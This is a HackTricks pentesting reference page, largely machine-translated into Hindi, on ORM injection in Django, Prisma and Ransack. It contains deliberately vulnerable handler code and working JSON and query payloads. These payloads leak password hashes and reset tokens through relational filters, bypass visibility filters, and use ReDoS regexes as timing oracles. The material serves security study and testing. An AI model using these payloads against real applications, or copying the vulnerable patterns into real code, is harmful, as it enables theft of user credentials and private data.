ORM Injection

Support HackTricks

Django ORM (Python)

In this post यह समझाया गया है कि कैसे एक Django ORM को कमजोर बनाया जा सकता है, उदाहरण के लिए, एक कोड का उपयोग करके जैसे:

class ArticleView(APIView):
"""
कुछ बुनियादी API दृश्य जो उपयोगकर्ता आर्टिकल खोजने के लिए अनुरोध भेजते हैं
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

ध्यान दें कि सभी request.data (जो एक json होगा) को सीधे डेटाबेस से ऑब्जेक्ट्स को फ़िल्टर करने के लिए पास किया गया है। एक हमलावर अप्रत्याशित फ़िल्टर भेज सकता है ताकि उससे अपेक्षित से अधिक डेटा लीक हो सके।

उदाहरण:

  • लॉगिन: एक साधारण लॉगिन में प्रयास करें कि उपयोगकर्ताओं के पासवर्ड लीक करें जो इसके अंदर पंजीकृत हैं।

{
"username": "admin",
"password_startswith":"a"
}

यह संभव है कि पासवर्ड को ब्रूट-फोर्स किया जाए जब तक कि यह लीक न हो जाए।

  • संबंधात्मक फ़िल्टरिंग: यह संभव है कि संबंधों के माध्यम से जानकारी को लीक करने के लिए यात्रा की जाए जो ऑपरेशन में उपयोग किए जाने की अपेक्षा नहीं की गई थी। उदाहरण के लिए, यदि यह संभव है कि एक उपयोगकर्ता द्वारा बनाए गए लेखों को लीक किया जा सके जिनके ये संबंध हैं: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password)।

{
"created_by__user__password__contains":"pass"
}

यह संभव है कि उन सभी उपयोगकर्ताओं का पासवर्ड खोजा जा सके जिन्होंने एक लेख बनाया है

  • Many-to-many relational filtering: पिछले उदाहरण में हम उन उपयोगकर्ताओं के पासवर्ड नहीं खोज सके जिन्होंने एक लेख नहीं बनाया। हालाँकि, अन्य संबंधों का पालन करते हुए यह संभव है। उदाहरण: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).

{
"created_by__departments__employees__user_startswith":"admi"
}

इस मामले में हम उन उपयोगकर्ताओं के विभागों में सभी उपयोगकर्ताओं को ढूंढ सकते हैं जिन्होंने लेख बनाए हैं और फिर उनके पासवर्ड लीक कर सकते हैं (पिछले json में हम केवल उपयोगकर्ता नाम लीक कर रहे हैं लेकिन फिर पासवर्ड लीक करना संभव है)।

  • उपयोगकर्ताओं के साथ Django Group और Permission के many-to-many संबंधों का दुरुपयोग: इसके अलावा, AbstractUser मॉडल का उपयोग Django में उपयोगकर्ताओं को उत्पन्न करने के लिए किया जाता है और डिफ़ॉल्ट रूप से इस मॉडल में कुछ Permission और Group तालिकाओं के साथ many-to-many संबंध होते हैं। जो मूल रूप से एक उपयोगकर्ता से अन्य उपयोगकर्ताओं तक पहुँचने का एक डिफ़ॉल्ट तरीका है यदि वे एक ही समूह में हैं या समान अनुमति साझा करते हैं

# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • फिल्टर प्रतिबंधों को बायपास करें: उसी ब्लॉगपोस्ट ने कुछ फ़िल्टरिंग का उपयोग बायपास करने का प्रस्ताव दिया जैसे articles = Article.objects.filter(is_secret=False, **request.data)। यह संभव है कि हम उन लेखों को डंप करें जिनका is_secret=True है क्योंकि हम एक संबंध से Article तालिका में वापस लूप कर सकते हैं और गैर-गोपनीय लेखों से गोपनीय लेखों को लीक कर सकते हैं क्योंकि परिणाम जुड़े हुए हैं और is_secret फ़ील्ड गैर-गोपनीय लेख में जांची जाती है जबकि डेटा गोपनीय लेख से लीक होता है।

Article.objects.filter(is_secret=False, categories__articles__id=2)

रिश्तों का दुरुपयोग करके, डेटा दिखाने के लिए बनाए गए फ़िल्टरों को भी बायपास करना संभव है।

  • Error/Time based via ReDoS: पिछले उदाहरणों में यह अपेक्षित था कि यदि फ़िल्टरिंग काम करती है या नहीं तो विभिन्न प्रतिक्रियाएँ होंगी, ताकि इसका उपयोग ओरेकल के रूप में किया जा सके। लेकिन यह संभव है कि डेटाबेस में कुछ क्रिया की जाए और प्रतिक्रिया हमेशा एक समान हो। इस परिदृश्य में, डेटाबेस त्रुटि को नया ओरेकल प्राप्त करने के लिए बनाया जा सकता है।

// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

From te same post regarding this vector:

  • SQLite: डिफ़ॉल्ट रूप से regexp ऑपरेटर नहीं है (तीसरे पक्ष के एक्सटेंशन को लोड करने की आवश्यकता है)

  • PostgreSQL: डिफ़ॉल्ट regex टाइमआउट नहीं है और यह बैकट्रैकिंग के प्रति कम संवेदनशील है

  • MariaDB: regex टाइमआउट नहीं है

Prisma ORM (NodeJS)

The following are tricks extracted from this post.

  • Full find control:

const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

It's possible to see that the whole javascript body is passed to prisma to perform queries.

In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

यह निम्नलिखित सभी पोस्टों का चयन करता है जो किसी ने पासवर्ड के साथ बनाई हैं और पासवर्ड लौटाएगा:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • पूर्ण where क्लॉज़ नियंत्रण:

आइए इस पर नज़र डालते हैं जहाँ हमला where क्लॉज़ को नियंत्रित कर सकता है:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // ORM लीक के लिए संवेदनशील
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

यह सीधे उपयोगकर्ताओं के पासवर्ड को इस तरह से फ़िल्टर करना संभव है:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})

startsWith जैसे ऑपरेशनों का उपयोग करके जानकारी लीक करना संभव है।

  • कई-से-कई संबंध फ़िल्टरिंग को बायपास करना:

app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});

यह संभव है कि Category -[*..*]-> Article के बीच कई-से-कई संबंधों को लूप करके प्रकाशित नहीं किए गए लेखों को लीक किया जा सके:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

यह सभी उपयोगकर्ताओं को लीक करना भी संभव है, कुछ लूप बैक कई-से-कई संबंधों का दुरुपयोग करके:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: मूल पोस्ट में आप एक बहुत विस्तृत परीक्षण सेट पढ़ सकते हैं जो समय आधारित पेलोड के साथ जानकारी लीक करने के लिए सर्वोत्तम पेलोड खोजने के लिए किए गए हैं। यह है:

{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

जहाँ {CONTAINS_LIST} 1000 स्ट्रिंग्स की एक सूची है ताकि यह सुनिश्चित किया जा सके कि सही leak मिलने पर प्रतिक्रिया में देरी हो।

Ransack (Ruby)

ये तरकीबें इस पोस्ट में पाई गईं

ध्यान दें कि Ransack 4.0.0.0 अब खोज योग्य विशेषताओं और संघों के लिए स्पष्ट अनुमति सूची के उपयोग को लागू करता है।

संवेदनशील उदाहरण:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

ध्यान दें कि क्वेरी को हमलावर द्वारा भेजे गए पैरामीटर द्वारा परिभाषित किया जाएगा। उदाहरण के लिए, रीसेट टोकन को ब्रूट-फोर्स करना संभव था:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

By brute-forcing and potentially relationships it was possible to leak more data from a database.

References

Support HackTricks

Last updated